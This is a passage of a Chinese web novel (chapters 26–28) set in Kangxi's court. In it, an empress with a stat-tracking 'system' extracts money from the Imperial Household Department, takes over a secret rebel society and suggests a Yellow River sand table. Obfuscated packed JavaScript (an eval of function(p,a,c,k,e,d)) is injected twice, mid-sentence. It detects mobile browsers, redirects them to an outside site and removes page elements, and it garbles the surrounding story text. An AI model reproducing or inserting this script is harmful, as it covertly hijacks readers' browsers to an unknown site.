宫中对包衣入宫服役查的极严,每个人的父母宗族,自身体态特点,记录的清清楚楚,京中的包衣女子都沾亲带故,没有哪个不认识哪个的,等闲难以冒名顶替。 只有江南三织造,不仅供应高端绸缎(如江宁云锦、苏州缂丝),还定期输送技术骨干。会计司记载:康熙元年至今,江宁织造累计向针线房输送绣工280名。 这些远地方来的,就只能核对档案记录了。尤其是苏巧云,是会计司特批进来的,当年那一批绣工中没有与她来自一个地方的。 宫中记录,“苏巧云脖子上有块胎记,红色,两寸,圆形”。吉雅看过她的脖子,那里有一道鞭痕,说是入宫学规矩时叫嬷嬷打的,正巧就打在了脖子上,留了疤痕遮了胎记。 宫女入宫,都金贵。体罚也不会在脸上、脖子上这么明显的地方,日后若是哪个飞上枝头了,主子追下来,都得倒霉。 可能有心人觉得,针线房匠人总数稳定在千人左右,其中核心工匠(如绣娘、裁缝)占60%以上。一二个绣娘遭遇体罚,这原也不是什么大事,就是个意外罢了。送到坤宁宫去给娘娘用,也是用她的手艺,谁会管她脖子。 可偏生珠兰有个系统在手,巧云那明晃晃的负数忠诚,太显眼了。 这宫里,目前知道慈宁宫有个嬷嬷,与巧云碰了面。 那嬷嬷不晓得自己被人盯上了,还敢寻了机会与内务府造办处的匠人传递消息。 不怕你动,就怕你不动。 沿着这条线,从宫里延伸到宫外,珠兰的人一路追到了宛平县的山里。 估计幕后黑手也不知道,有一天,坚持单线联系,藏得极深的他是这么暴露的。 寿春看了那嬷嬷的面貌身形,与珠兰叙述后,珠兰便晓得是谁了。 慈宁宫的嬷嬷,从苏麻喇姑到扫地的,没有珠兰没搭话过的。别看她不怎么往上头凑,下头的关系维护的可到位了。 那是二年针线房分到慈宁宫的靴袜妇人,生的没什么特点,人倒是能说会道,与谁都能聊上两句,看档案,也是江南三大织造府送来的。 因当初系统还没因葛布喇的影响力缘故升级,不能自动标识数值特殊的人群。她未曾想在慈宁宫发展心腹下线,便没有细看每一个人的数值,这就漏了一条大鱼。 别看这些都是江南来的,也都是内务府包衣出身。 可看着一水儿负数忠诚值,送入宫的是汉女,还是刺客,就说不准了。 珠兰深吸一口气,挥手叫尼雅她们都下去,该休息的去休息,该工作的去工作。 忠诚为负数,就如同某一项数值超过85一样稀罕。在系统面板中,有着特殊的颜色。 送这些人入宫的不晓得是哪个秘密结社,这不重要,重要的是若是能收归几用,又能省下不少事儿。她最发愁的初期攒人,就算解决了。 「 26. 缺钱帝王 整个十月份,珠兰都扑在内务府操持发横财/清理蛀虫工作。家里要养一只皇帝,各项开支都大,她也不容易啊,暂且在内务府抄家养他吧。 但她不曾有一日缺席乾清宫的晚膳,宁可用了膳食再回来上班,也得去薅着康熙,把一日600观察点的上限刷足。 因养心殿里有三十几号人,内务府里笔帖式以上官员就有三百多人,不把她们和他们的数值提上去,活计不好干。那外头还有一个秘密结社的人,得提前预备下点数。 为了早日实现麾下所有人的忠诚属性都上90的大圆满,珠兰日日都要去乾清宫报到。 自打她进内务府开搞,太皇太后与太后都闭门了,请安也是在门外,见不到太皇太后,刷不了那边,就只能刷这边了。 为了满足皇后每日陪膳的小心思,皇帝也只好改了过去不规律的饮食习惯,将两顿正餐加一顿傍晚“小吃”安排清楚,好方便皇后从内务府那边过来。 为了这个,每次皇后主子娘娘过来,乾清宫的太监们都举双手双脚欢迎,还出了好几个对主子娘娘忠诚值在60以上的,给了珠兰好大的操作余地。 因康熙的膳食,太皇太后过去没少把太监们拉出去打板子。 说是晚膳,其实在午时。 因为缺钱/节俭,皇帝的饭食也精简过了。 御膳房的小太监们鱼贯而入,有条不紊地将食盒依次摆放在膳桌上。今儿上桌的分别是,燕窝鸡丝香蕈丝薰白菜丝镶平安果一品、燕窝鸭子薰片月宫子一品、小菜一品、挂花萝卜一品、萝卜汤一品、象眼棋饼小馒首一品、酥油豆面饽饽一品、蜂蜜一品、粳米膳一品。 四菜一汤,两个点心,一个主食,蜂蜜是个调料吧,什么鬼。 康熙手持象牙筷,正要夹起一片萝卜,不经意间抬眼,瞧见珠兰面前的碟子纹丝未动,分明是走神了。 他微微一怔,刚要调笑珠兰两句,脑海中瞬间浮现出昨日呈递上来的黄河决堤奏报,以及那令人忧心的军费缺口,足足还差八十万两白银,这让他原本轻松的心情瞬间沉重起来。皇上又怎么样,皇上也缺钱。原本四大辅臣在时,到底怎么过日子的,就过成这个破砖乱瓦的德行。 “用吧,今日没外人。”康熙温和地说道,放下筷子,目光落在珠兰身上。朝中之烦恼,他还是不愿于女子身上倾泻,自然的调整了情绪。 珠兰将目光从系统上移开,微微欠身,依着宫廷规矩,有条不紊地布起菜来。她头上的乌木簪子随着动作轻轻晃动,在鬓边划出一道道若有若无的细微波影。袖口不经意间露出一截月白里子,那是她让巧云将旧旗装改制而成的常服,简约而不失雅致。 康熙看到这一幕,心中微微一动,一种异样的情绪悄然涌起,不过很快他便将其压了下去。 膳后,二人依照惯例在堂屋中遛弯消食。 康熙迈着沉稳的步伐,沿着金砖上雕刻的龙纹图案缓缓前行,珠兰则保持着三步的距离,安静地跟在后面。她的鞋底轻轻碾过地砖,发出细微的声响。 康熙走着走着,想起珠兰在内务府的一轮斩获,三百万两,比一年的盐税还多。后头还有几家在清点,这几家没有前头的根深,估计少点,要是能有一百万两入账,今年就好过了。再有那些亏空,也在盘点,有不少已经补上了,若是能挪一部分··· 想到此处,康熙转头看向珠兰,阳光透过菱花窗洒在她的发间,那支普通的乌木簪子在光芒中闪烁着柔和的光。旁人若是为后,又岂会和珠兰一半,为了朕不惜一切。她原可以不理会那群蛀虫,安心做了太平娘娘。 皇帝聪慧,索额图能想到的他又岂会想不到。日后,定要多护着些皇后。油然而生的保护欲,是为了她不顾己身的夫妻情谊。 “内务府的事,”康熙停下脚步,目光投向墙上悬挂的《黄河图》神色凝重地说道,“是个烂摊子,你尽管放手去查,不必有任何顾虑。”手上有兵,皇帝也狂。 珠兰闻言,停下脚步,恭敬地福身行礼,说道:“臣妾遵旨。”她微微顿了顿,脑海中闪过系统面板上那闪烁的能量结晶进度条,接着又补充道,“后面只要能把广储司那些旧账彻底理清,或许就能把明年治河所需的头期工费一道凑出来。” 黄河之恐怖,是世界意志都认可的。康熙亲政以来,最为头秃的就是黄河,桌案上都是河工图。 康熙元年至四年间,黄河如同挣脱枷锁的猛兽,以摧枯拉朽之势肆虐中原大地。 康熙元年七月,归仁堤轰然决口,浑浊的洪流裹挟着泥沙如巨龙般横冲直撞,逆入清口、冲垮翟家坝,九道激流奔涌而出;几乎同时,桃源黄家嘴也被撕开巨大裂口,滔滔河水瞬间阻断下游河道,将汹涌水势尽数倾入洪泽湖。高邮城水高数丈,城墙几近没顶,数万百姓在洪峰中溺亡,尸体漂浮如落叶;村庄、农田被吞噬,幸存者流离失所,沿途饥殍遍野,甚至出现人相食的惨状。 此后两年,洪水退去却留下满目疮痍——河道淤积导致水位高悬,低洼处积水经年不散,疫病滋生蔓延,十室九空;里下河地区沦为泽国,肥沃农田化作泥潭,无数流民为求生计落草为寇,社会动荡不安。 江苏、安徽作为经济重心,因水患“千里荒烟”,赋税减少近半,朝廷不得不从其他省份调拨物资,形成全国性的经济压力。 即便表面平静的康熙三年至四年,高悬的“悬河”仍如达摩克利斯之剑,沿岸百姓在恐惧中艰难度日。 为维持漕运,朝廷每年需投入数十万两白银用于堵塞决口、疏浚运河,但因治理缺乏系统性,资金多耗费在临时性工程上。 今年,为疏通运河高邮段,征调民夫十万,耗费白银二十余万两,却因黄河主河道未整治,次年汛期仍面临决口风险。 那翻滚的浊浪、遍野的哀嚎,皆是黄河在这数年间展露的恐怖獠牙,撕扯着新生王朝的根基,也让“治河”成为关乎国运存亡的生死之战。 治理黄河,必然能得到不菲的能量,珠兰不介意给皇帝的银子都花去治河。 康熙转过身,龙纹褂子轻轻扫过一旁的博古架,碰得上面的铜爵叮当作响。他自亲政后,便将“河务、漕运、三藩”列为三大治国要务。 康熙元年至四年,这短短几年间,黄河决堤竟多达十数次,河务是排在第一位的。 那些奏报中的文字仿佛化作一幅幅凄惨的画面,在他眼前不断浮现:灾民们流离失所,啃食着树皮草根,饿殍遍野。河道总督因无力治理水患,畏罪自杀…… 朝堂之上,那些所谓有能力治理黄河的官员,要么是沽名钓誉之徒,妄图借此机会捞取政治资本;要么就是心怀不轨,想趁机中饱私囊。真正有真才实学、愿意为百姓排忧解难的人,却寥寥无几。 “梓童觉得,”康熙忽然回头,目光直直地看向珠兰,“朝中官员,谁可接下治理黄河这一重任?” 珠兰深知后宫不得干政这一铁律,虽然只有系统知道她多想自己做皇帝。谁能治河这事儿,她怎么会不知道,系统里朝中有一个人的河工数据高达86。 然而现下咱是皇后,面对康熙的询问,她不能不答,也不能直说是谁。于是,她轻声说道:“在家时,我和塔娜闲暇之余常以玩沙子为乐,还曾用沙子堆过山河湖泊的模型,聊以消遣。” 珠兰抬头,正巧对上康熙的目光,她发现康熙眼中闪过一丝异样的光芒。 就在这时,康熙已快步走到《黄河图》前,手指重重地点在河南段河道上,兴奋地说道:“做个沙盘!对,就做个黄河的沙盘!让那些官员在上面模拟试验,尝试堵口、开渠等治河方法。如此一来,谁有真本事,谁在滥竽充数,一试便知!” 自鸣钟再次响起,悠长的钟声在殿内回荡。阳光渐渐移动,洒落在珠兰的脸上。 康熙望着珠兰,见她鬓边微微沁出细汗,不禁想起大婚那日,珠兰递来合卺酒时的情景,酒杯边缘还残留着她淡淡的胭脂印记。 如今,葛布喇和佟国纲等朝廷重臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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康熙的目光落在她鬓边未及梳理的碎发上,珠兰不仅晓得大内藏的苏州澄泥可用,还会跟他说,“广储司还有两箱明万历年间的铜料,或能熔了换钱。”此刻她竟连历年决口处插小旗标注都清楚,定是背着人熬了无数夜。 其实珠兰是有系统在,各类知识都由系统整理存放,什么时候用就调出来。 康熙的目光又落到她那双纤细的手上,这双手既能批红内务府的亏空账册,又能画出旧堤与新堤的走向,方才说“用明胶模拟水流”时,眼里闪着的光亮——那是葛布喇坚定支持他“三藩迟早要撤”时,一模一样的神采。 梁九功在旁捧着砚台,见皇帝盯着皇后袖口出神,便知主子又在想心事。只能说主子娘娘一举一动,都合圣心。这是连他们这些近人都做不到的,娘娘恐怖如斯啊。 珠兰所言,岂是闺阁女子所知。定然全是她用无数个不眠之夜熬出来的——不是为了皇后的职责,而是为了他这个焦头烂额的皇帝丈夫。 康熙按捺住一些不该有的情绪,他踱步到窗边,望着日头,“限三日内完工,着营缮司郎中带十名谙熟河工的匠人,入工部作坊连夜赶制。所需物料,无论内库藏的太湖石、浙东细沙,还是外衙门的黄麻、桐油,一概优先拨付。完工后送乾清宫东暖阁,朕要亲验。” 梁九功应诺,就要出去传旨。 “再加上,”康熙再度开口,声音有些沙哑,“沙盘做好后,再复做,送养心殿一份。” 珠兰抬头,正对上他复杂的目光。他想起珠兰说“在家玩过沙子堆沙盘”时,刻意轻描淡写的语气,心里却泛起涟漪:这世间哪有女子天生懂河工。不过是因为爱他至深,才把他的烦忧都悄悄记着,连沙盘的每个细节都琢磨透了。 珠兰看着康熙有条不紊地安排着一切,并不晓得他心中所念,毕竟亲密度也没涨,还以为是给自己看看这第一版沙盘要不要改。她心中暗自思忖的,是或许借助此次治河之事,能获取“惊涛”级能量结晶。一旦此等量级的能量结晶到手,五十年内再得能量,便都是盈余了。 她不知道,自己为能量结晶让系统提前做的沙盘规划,在帝王眼中竟成了深情的注脚。毕竟,皇帝的数据没动啊。 康熙走到《黄河图》前,原来这后宫之中,真有女子会为他,把治河的沙盘之计都焐热了。 只是这份深情厚谊,朕暂时是无法回报,待日后······ 27. 只认银子 在康熙忙着前朝黄河与三藩时,珠兰在内务府喝茶,顺便探索下一步把手伸到真实的黑暗里。 内务府的工作并非不难做了,而是事情进展不能脱出控制,本质上她是皇帝派来搞钱的,不是搞死所有包衣的,既然目的明确了,那么珠兰的下手力度也会随之调整。 林昭然在时空局出任务,数次皆导致任务世界崩溃,后续原本还能源源不断传入的能量结晶泡汤,其后她才开始考虑控制烈度。 她认为自己已经足够平和,实际内务府中就没有人敢在皇后娘娘在时大喘气。 有一种杀意,是没有杀意,却让人不自觉的惧怕,就如同惧怕冬日的酷寒。 主子娘娘不针对任何一派,她只是平等的来讨债,这多恐怖啊。 索大人说了一句实在话,要么给钱平账,要么死。就像在冬天,要么烧炭,要么冻死。 十月初核算,自康熙元年至今共计四百万两的亏空,已全部补上。这个数,不包括之前的抄家所得。 立威已经足够,珠兰从系统数据上看,自己在内务府的威望值与杀人抄家数据为正相关,已逐步攀登到80,远远超出了太皇太后在内务府的数值,距离皇帝只差五分之一了。 因顺治朝的账目都太老旧,翻查不易,珠兰就让吓破胆的包衣们自己指认。 结果她低估了下头想上位的决心,在前期敲打足够的情况下,互相举报的开始变多。 几个女官那里门庭若市,你早晨来,我比你更早,能阻止我的只有宫门开启的时间。连杀带流,包衣里的大势力被连根拔起,剩下的游兵散勇生怕跪的不够快,跪的姿势不够好看。 为了不至于酿成不好收拾的局面,比如包衣死绝之类的。康熙元年之前的账目只要按照银两折算补足,便可不再追究其他责任。 主要也是珠兰懒,没心情给爱新觉罗家清理旧黄历。这也是搞半天也不给能量的缘故,她不想继续干了。 这么着,二十多天里,内务府又收入六百万两。 这帮老包衣,家里老金、老银、老铜钱是真不少。 这部分钱就不能都支援前朝了,珠兰得拿去平账目,拖欠的工钱得补发,货款得结算,还有一些一直是空头支票的福利待遇得从这里出。 她虽然是个皇后,却很有契约精神,绝对不强买强卖,按照一份劳动一份工钱给发足了。 这么着,就有快破产的皇商莫名结了尾款,一夜回春的;人都死了,家属还得了一笔当家的康熙某年当差银子(含利息)的;还有,莫名被补上四年冬季室外低温补贴的盛京各衙门··· 珠兰再看系统,那就没有花钱的不是。忠诚值涨的那就叫一个快,比杀人那会儿可快多了,远在宁古塔的都出现90以上数值的死忠了。 内务府的包衣,记吃不记打,见主子娘娘如此体恤下头当差的,恨不能把娘娘供起来。 不枉费我为了保障补贴能发到个人手里,叫索额图安排专人敲锣打鼓的去发钱,几乎要挨个给他们发手里。珠兰点点头,看数据情况,这补贴是发到位了。 可惜没得能量结晶,看来这种小范围的恩惠还不足以撬动世界进程。 想要扩大施恩范围,探索能量结晶新渠道,就得搞钱,珠兰绝大多数时间不是在查账,是在想开源。 能以一个国家的名义做事,是她做皇后的最大动力。 当然,现在给的赏赐都是以皇帝的名义去做的,但谁不知道管着内务府的是主子娘娘呢。 何年何月有皇后管内务府的,曾经的议论一丝一毫都没有了,包衣和皇商们都盼着主子娘娘长长久久的管着他们。 也有些手脚被斩断的宗室和勋贵不满的,可他们面对的是亲政·有兵·自信爆棚·嘴毒·极端信任葛布喇·缺钱的皇帝,干脆闭宫不见客的太皇太后和太后。 前朝,拦着不让皇帝抄太多鳌拜党羽的家,已经是他们能做的极限了。大家都沾亲带故的,还是先把八旗子弟保下,包衣们就放放吧。 要说他们不敢帮着皇帝反对权臣,可现在他们却敢于在皇帝的盛怒之下去给鳌拜党羽说好话,有时候君臣之道就是很微妙,不让皇帝扩大现在的打击面,就是保护将来的自己。 毕竟,当年天下何人不通鳌拜,你索尼又如何。 前朝的热闹,珠兰没关注,那些大臣对皇帝的忠诚度好些都不够60,更何况对她这个新来的皇后了。 内务府这边,珠兰看有些是花钱都买不到忠诚度的,敬你是条汉子,都记下,有把柄的拿下,没把柄的陆续拨到外朝跟大臣们刚去吧。 皇帝在前头一番操作,鳌拜党羽空出不少缺儿了。正好内务府这边的,可以转任出去。 因为有些烂账是真烂了,死活找不到苦主,那就给皇帝花吧,又给他二百万两。 珠兰又请示皇帝,还得送太皇太后两百万两,皇太后一百万两,两位老太太闭门不出,就是最大的支持。甭管老太太用不用,这是孝心。 皇帝想了半天,同意了。 皇后貌似过于大方了,可她是对朕的母亲和祖母大方,她果然是爱朕啊。 珠兰想着,这给内务府干活,是又吃货又吃人,还能有找不到的苦主。 这比我当年可狠多了,珠兰表示学到了,让系统学点好,别学坏。 系统··· 慈宁宫 皇太后捧着一只小匣子来见,太皇太后没好气地告诉她自己收着去,一副没见过世面的样子。 苏麻喇姑带人封箱入库,回来后张口结舌,不知道说什么话好。 太皇太后坐了良久,珠兰这个套路过于真诚,让人不好接了。当年她在盛京时,只见过山西来的商人有这份诚意。 短时间内,她不好拿珠兰怎样了。可皇帝不近女色这事儿,不是钱能解决的啊。 太后讪讪的回了寿康宫,这么多银票,还有珠兰特意送来的金银瓜子,这可怎么花销是好。 不是她没见过钱,她的嫁妆肯定比这个数不少,但她是真没这么多现银。她一年的俸禄在一万两,各类供奉也多,花销不多,但可存不下这个数。 儿媳妇一出手,礼有点大。要不,就按珠兰说的也做点买卖,闲着也是闲着的…… 太后的亲密度,又涨了。珠兰抿嘴,这位才是心思淳朴的。 科尔沁,可以谋划一二。草原北边,还有罗刹,罗刹西边还有…… 内务府大堂外面一丝杂音都没有,比在养心殿都安静。 皇帝有时候爱来养心殿读书作画,一天的观察点满了就懒得伺候他。就说内务府忙,回不了家算了。天天在一处,一点亲密度不给涨,小气吧啦的。 钱发完了,她才有闲心在内务府喝茶。主打一个有钱不过夜,趁着前朝户部没反应过来,就散差不多了,只留下明年内务府一年的预算一百万两。 内务府自己也该有些进项,现在这个样子太可怜了,都对不起它在全国的垄断地位。茶啊盐啊矿啊布啊,它都掺合,那点收益都不好意思说。 珠兰调出系统面板,让系统做一个赚钱的方案出来。 系统…… 其实,这一年要是没帝后大婚、修缮林苑这种额外支出,几十万两就够花,结果内务府这帮,光是亏空,一年就能造一百万。 制度有问题,好人也都得跟着干坏事。 内务府这套新制度是肯定要定,但没那么快,主要是看康熙的功夫,等他删减。 皇帝的掌控欲与日俱增,已经攀升到95了。珠兰这边,让系统做了初稿,然后送去乾清宫就没动作了,等着领导安排。 宫内是如此,宫外牵着宫内,还得有动作。 珠兰对巧云的身世不太感兴趣,对慈宁宫嬷嬷身负什么任务也没派人去摸。 她从系统里筛选整个紫禁城,筛了十五个忠诚值为负数的出来。除了嬷嬷和巧云,半数在营造司,小半数在广储司。 这一帮有个特点,都是单线联系,有很多是互相不认识。珠兰安排了几波人,从宫内到宫外,专门盯梢他们。 系统就是这点好,但凡忠诚或者亲密到了60,珠兰就可以给她们加点,在没有其他数值更高的想冲的情况下,她们就都是珠兰的人。 比如春苒,康熙送来的女官,珠兰把她对自己的忠诚度调的比对皇帝的高,这个训练有素的女官,就是自己人了。现在去乾清宫传话,珠兰想让她说啥,她就说啥。 多么轻松愉快,一点不用自己培养,就捡到了现成的。只是费了一些观察点而已,但10比1而已,比康熙那里动辄要花一个结晶性价比高多了。 养心殿其他宫女太监也得这么操作,保证珠兰在她们心中的第一优先级。 亲密或者忠诚在60以下就不好操作属性了,珠兰只能把人换了。 若非为了维持葛布喇的千古忠臣人设,珠兰是可以把他对自己的亲密度调整的更高的,但是没必要。 说回巧云,这个大负数,是珠兰不能容忍的,不搞你不行啊,哪里有千日防贼的。 又因为珠兰霍霍了一顿内务府,这些贼/人都接到了宫外的嘱咐,要谨慎。 这个,约莫就是打草惊蛇,或者打草搂兔子了。 这么着,他们一动,珠兰就知道谁跟他们是一伙儿的了。 说起来织造、盐政、漕运等实权职位她还没查,那边就已经上赶着把历年亏空都补上了,不愧是消息最灵通的几个部门。 这年月怎么会流行欠皇帝钱的,真搞不清这帮大臣的思路。 有时候他们胆子大的,让珠兰以为他们才有金手指。 握着系统的人还遵守规矩呢,其他人怎么能践踏社会规则,这是嘲讽! 内务府在外有关联的各衙门都传遍了,主子娘娘不讲情面,只认银子。 漕运衙门里,摸出了一条不小的鱼,里面应该还藏着一个忠诚为负的小团体,离着远,系统暂时看不到。 这个幕后黑手摊子铺的肯定不是这么点,珠兰摇头,将目光投入京中,令系统在全京师内显示忠诚为负的人员。 系统很是卡顿了一会儿,珠兰就安慰系统,等能量结晶攒多了就给你升级。 忠诚这个数值,不是灾年,即便是目不识丁的乞丐,也有个位数的量。 负数,就只能是反贼了。 排除几个老夫子那几拨的人,剩下还有二百多野生的,就是珠兰的目标。这些也可能不是一波的,不过没关系,可以慢慢分辨。 这种以造反为目的的秘密结社,龙头老大一般都有着光鲜的身份。为了掩盖自己的身份,通常不会将自己在俗世中的位置暴露,一般都只有几个心腹晓得他到底是谁,其余下线就只跟上线联系。 杀了他们老大,我就是老大,珠兰如是想。 有系统在,某些时候可以遵守其他层面的规矩,比如优雅的黑吃黑。 至于老大在哪里,系统里那个一团忠诚值为负的地方就有。看了看,就在宛平县的山里。那就是了,就那个地方。 康熙四年十一月一个平常日,顺天府宛平县小台村一个无恶不作的煤矿矿主死在了矿里,连同他的狗腿子一共二十人,死因是分赃不均、自相残杀。 宛平县上报顺天府,破获拐卖人口大案,当场击杀负隅顽抗的匪徒四十五人。 一群暗地里拐卖妇女儿童的犯罪分子,也好意思说自己是真英雄。寿春啐了一口,带着富春离开现场。 从头到尾,姐俩一滴血都没沾染。 后头,自有专人收拾了一应人员名册、账本、印信。翻云会,自此就姓林了。 系统面板中,一切以造反为目的的秘密结社都无所遁形。 虽偶有疏漏,但无伤大雅。 珠兰麾下自然有人出手,将一切痕迹疑点抹平。 宫中岁月静好,巧云并不知晓,日后的任务都是她的主子娘娘给指派的。在她自己都不知道的时候,她忠诚的对象已经换了人。 当了老大,改了接头暗号,就叫“一切为了昭然”。 然后,一波骚操作,包括但不限于把被上一任首领压榨留存的经费给大伙足额发放,给京中潜伏的过不下去的大伙找个正常能温饱的工作,把家属都安顿好,孩子送去上学,上了户籍,以后还能考科举呢。 做大事,归做大事。 那后勤保障,也不能差。 时空局也不差饿兵,珠兰觉得自己怎么也比时空局大方。 还有百多人呢,居然在不少官员家里都有,他们是怎么把包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873504|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣这么紧密的团体都钻漏了的。还有那个珠兰眼馋的晋商掌柜的徒弟,就在里面。 翻云会真不是闹着玩的,这些反贼得攒了不少年。这帮人居然还有信仰,是个什么神来着。珠兰给这神起了个俗家名字,就叫林昭然。 穆掌柜等几个只听主子的,对自家大姐儿日行好几善都习以为常的,安排几个伙计有什么难的。庄子,庄子多的是,壮丁妇人都能安排。正好江南那边新购置的地方,开春往那边送。 精准帮扶之后,珠兰看着自己对翻云会的贡献度迅速就达到了60,巧云和慈宁宫李嬷嬷对自己的忠诚也随之到了60。 这样,就顺眼多了。 太和殿内,蟠龙金柱映着明黄帷幔,将晨光染成流动的金箔。 康熙端坐在九龙御座上,龙袍绣着的海水江崖纹起伏如波涛,腰间十二颗东珠玉带扣在阳光下流转冷芒,恍若十二轮小日。他垂眸扫过阶下群臣时,唇角扬起的弧度带着少年特有的张扬。 阶下群臣垂首,蟒袍补服在青砖地面投下整齐的阴影。 葛布拉为首的保皇党身姿笔挺——九门提督衙门的精锐甲士此刻正驻守午门,八旗劲旅的马蹄声仿佛还回荡在东华门外。 皇帝有兵马在手,就是强势帝王。他觉得,一切都在掌握之中。 当珠兰从内务府追缴的五百万两白银入库的消息传来,御案上的《黄河图》都被映得发亮。皇帝的眉眼,都在放光。 治河工费、三藩军费、甚至未来三年的漕运修缮预算,都化作墨字工整列于奏折。 皇帝的声音裹挟着帝王威仪撞在穹顶,又轰然坠落,震得丹陛之下群臣身形微颤,“区区黄河水患,三藩逆臣,岂有解决不了的道理?” 户部尚书攥着年度奏销册,蟒袍下的手指几乎掐进掌心——皇帝未曾打算从户部支走一两库银,意味着整个六部最核心的财权,正悄然旁落。 臣权,已难以制约君权!这绝不是好兆头啊…… “沙盘已呈于乾清宫东暖阁。”康熙的声音撞在太和殿穹顶,又沉甸甸地砸落丹陛,“哪位卿家愿试治河良策?” 身着孔雀补服的兵部郎中靳辅越众而出,其人目光如炬,“臣愿往。” 他展开袖中泛黄的河工图,墨迹刚干的导流坝与堤坝加固方案在阳光下清晰可见,“臣研习河务十载,这沙盘正是验证所学之机。” 殿外忽起狂风,卷着铜铃之声撞入殿内。 康熙凝视着靳辅腰间新换的狮纹银带,此人乃是鳌拜倒台后,从地方调回来补位子的大员,入兵部做了三品郎中,下步该是侍郎,前途大好。 当臣子们的目光齐刷刷落在这位敢出头的郎中身上时,御座上的帝王忽然轻笑出声,笑声惊起梁间栖雀,扑棱棱的振翅声里,满殿寂静。 户部尚书撇了兵部尚书一眼,兵部尚书低着头。 “好!”康熙猛地起身,他大步迈下,玄靴重重踏在汉白玉阶上。俯视着靳辅时,眼中迸发出的炽热光芒几乎要将人点燃:“若能在沙盘上试出成效,朕便破格让你做河道总督!这天下万事,只要朕想做——”他骤然伸手,掌心朝天空狠狠一握,“便没有办不成的!” 葛布喇望着少年帝王飞扬的衣袂,只觉太和殿的蟠龙都在此刻活了过来,直欲冲破云霄。 他一时激动,竟然双目含泪。 佟国刚瞅着葛布喇老哥哥,这真情实感,自己这个亲舅舅也比不上啊。 朝中大臣各怀心思,有的道路以目,有的低头装乖,有的偷偷擦汗。 蟠龙飞天,阴影之下仍有无数蚊虫嗡嗡嗡。 皇帝不曾在意,但他注意到了。 鎏金龙椅在晨光中泛着冷芒,九条金龙张牙舞爪。康熙摩挲着翡翠扳指,听着阶下群臣又一次为河工拨款争执不休,御史的弹劾奏折与户部尚书的辩解声此起彼伏,恍若盛夏荷塘里永不停歇的蛙鸣。 钱有地方出了,怎么拨款也要一争。 他忽然想起慈宁宫廊下的青铜仙鹤——看似昂首向天,羽翼下却总藏着避阳的麻雀。目光扫过争吵最烈的户部与工部,六部衙门如同交错的河道,若不能疏浚导流,再坚固的龙舟也会困在泥沼。 三藩的密报已在案头积了三寸,可这些大臣还在为几块石料的归属争得面红耳赤。 所谓民心如水,水能载舟。 朝廷里大臣便是水,顺之则船快,逆之则容易翻。 只是一个河工之事,都难以让六部一心用命。后面的三藩军务,则更要束手束脚。 强压之下,还需怀柔,还需分化。治水需疏堵结合,治臣更要恩威并施。强硬打压之下,还需柔软的纽带——既能承受重压,又能填补裂隙。 皇帝无师自通也罢,自太皇太后处学来也罢,他也在考虑合适的人选,做一个桥梁之用。 三更梆子穿透紫禁城的寂静,康熙独自伫立在乾清宫的蟠龙柱下,案头堆积的密折泛着冷光。月光透过雕花窗棂,在他明黄龙袍上投下斑驳暗影,仿佛王朝权力的复杂纹路。 指尖划过宗室名单,安亲王岳乐看似忠心耿耿,可谁又知道他们心底藏着多少算盘?这些爱新觉罗氏的血脉,既是拱卫皇权的柱石,也可能成为动摇根基的蛀虫。 索尼的名字在烛光下格外醒目,这位四朝老臣盘桓朝堂,用好了,是披荆斩棘的利剑;用不好,便成了割伤自己的锋芒。 还有明珠、陈廷敬……一个个名字在脑海中闪过。明珠的玲珑心思,能在波谲云诡的朝堂周旋;陈廷敬的清正刚直,可监察百官。每个人都是一枚棋子,关键在于如何落子,才能让棋局朝着自己期望的方向发展。 夜风掀起珠帘,发出细碎声响。康熙走到舆图前,目光扫过三藩盘踞的西南之地,又落在黄河蜿蜒的河道上。 治水、平藩、整顿吏治,桩桩件件都需要得力之人。 宗室要安抚也要敲打,老臣要倚重也要制衡,新人要提拔也要磨砺。 案头的翡翠算珠突然滚落,在金砖上发出清脆的撞击声。康熙俯身拾起,冰凉的触感让他猛然清醒。 帝王之道,本就是一场精密的算计。他铺开宣纸,朱笔悬在半空,思忖良久,终于落下第一笔。 窗外,启明星渐亮,新的一天即将来临。 28. 帝后言妃 十二月初,启祥宫修缮完毕。 启祥宫位于西六宫区域西南角,而慈宁宫位于紫禁城西侧外朝与内廷之间,两者直线距离约200-300米,步行通过内廷西夹道或启祥门西侧通道可达。 二者通过宫墙与通道分隔,既便于太皇太后与太后召见,又保持各自的居住私密性。 格格们再入宫,便是庶妃身份,与待年时不同,自然不好总住在慈宁宫中。 启祥宫与养心殿,也较近且便捷。养心殿位于内廷西侧、西六宫北侧,启祥宫向北经西六宫夹道,直线距离约100-150米,步行数分钟即可到达。 此地为二进院,前殿与后殿之间有庭院相连,周围有东西配殿。前殿面阔5间,黄琉璃瓦歇山顶,前后出廊,外檐绘苏式彩画,色彩鲜艳,图案精美。屋脊上装饰有各种脊兽,门窗饰万字锦底团寿纹,步步锦支摘窗。殿前有高大的祥凤万寿纹琉璃屏门,与东西配殿组成一个宽敞的庭院。 明间与东西次间分别以花梨木透雕万字锦地花卉栏杆罩与球纹锦地凤鸟落地罩相隔,使空间既相互连通又有一定的分隔,增加了空间的层次感和私密性。 这是西六宫中,最后一处修缮好的宫室。 十二月的北风卷着细雪掠过紫禁城琉璃瓦,新漆的朱红廊柱泛着温润光泽。 珠兰陪着康熙用完膳,东暖阁炭盆烧得正旺,龙涎香混着蜜饯甜香在暖雾里氤氲。 两人在屋内一前一后溜了十圈,便该各自做事。 皇帝这个年岁,精神的很,是不午睡的。 珠兰今日磨磨蹭蹭,东看看西看看,没有立即回内务府去。她望着皇帝批阅奏折的侧脸,发间白玉簪随着动作轻晃,“内务府的账册都理清明了,西六宫也修缮妥当...”尾音未落,康熙已搁下朱笔,墨香在宣纸上洇开团云。 